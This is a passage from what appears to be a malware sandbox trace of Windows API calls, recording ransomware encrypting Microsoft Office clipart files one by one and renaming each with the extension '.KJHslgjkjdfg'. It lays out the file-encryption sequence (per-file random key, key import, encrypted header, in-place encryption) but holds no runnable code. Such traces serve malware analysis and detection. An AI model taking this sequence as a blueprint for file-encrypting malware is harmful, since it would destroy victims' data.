lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.130] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.131] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.131] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.131] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3682, lpOverlapped=0x0) returned 1 [0191.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3690, dwBufLen=0x3690 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3690) returned 1 [0191.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.165] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3690, lpOverlapped=0x0) returned 1 [0191.166] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.166] SetEndOfFile (hFile=0x130) returned 1 [0191.169] GetProcessHeap () returned 0x990000 [0191.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.169] GetProcessHeap () returned 0x990000 [0191.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.kjhslgjkjdfg")) returned 1 [0191.170] CloseHandle (hObject=0x130) returned 1 [0191.170] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0191.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.171] GetProcessHeap () returned 0x990000 [0191.171] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.171] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.171] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0191.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.247] GetProcessHeap () returned 0x990000 [0191.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.247] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.247] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.248] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.248] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x25c7, lpOverlapped=0x0) returned 1 [0191.250] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25d0) returned 1 [0191.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.250] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x25d0, lpOverlapped=0x0) returned 1 [0191.250] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.250] SetEndOfFile (hFile=0x130) returned 1 [0191.253] GetProcessHeap () returned 0x990000 [0191.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.253] GetProcessHeap () returned 0x990000 [0191.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.kjhslgjkjdfg")) returned 1 [0191.254] CloseHandle (hObject=0x130) returned 1 [0191.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0191.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.255] GetProcessHeap () returned 0x990000 [0191.255] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.255] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.255] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.255] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.255] GetProcessHeap () returned 0x990000 [0191.255] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.255] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.255] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.255] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.261] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6630, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6630, lpOverlapped=0x0) returned 1 [0191.274] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630, dwBufLen=0x6630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6630) returned 1 [0191.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.274] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6630, lpOverlapped=0x0) returned 1 [0191.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.275] SetEndOfFile (hFile=0x130) returned 1 [0191.277] GetProcessHeap () returned 0x990000 [0191.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.277] GetProcessHeap () returned 0x990000 [0191.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.kjhslgjkjdfg")) returned 1 [0191.278] CloseHandle (hObject=0x130) returned 1 [0191.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0191.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.279] GetProcessHeap () returned 0x990000 [0191.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.279] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0191.292] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.292] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.292] GetProcessHeap () returned 0x990000 [0191.292] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.293] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.293] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.293] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.293] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.293] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.293] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.293] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.293] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.294] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6b9a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6b9a, lpOverlapped=0x0) returned 1 [0191.392] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6ba0) returned 1 [0191.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.392] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6ba0, lpOverlapped=0x0) returned 1 [0191.392] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.392] SetEndOfFile (hFile=0x130) returned 1 [0191.394] GetProcessHeap () returned 0x990000 [0191.394] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.394] GetProcessHeap () returned 0x990000 [0191.394] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.kjhslgjkjdfg")) returned 1 [0191.402] CloseHandle (hObject=0x130) returned 1 [0191.402] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0191.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.403] GetProcessHeap () returned 0x990000 [0191.403] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.404] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0191.616] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.616] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.616] GetProcessHeap () returned 0x990000 [0191.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.616] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.616] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.616] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.616] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.616] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.617] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.617] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.617] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.617] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.617] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b29, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b29, lpOverlapped=0x0) returned 1 [0191.618] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30, dwBufLen=0x3b30 | out: 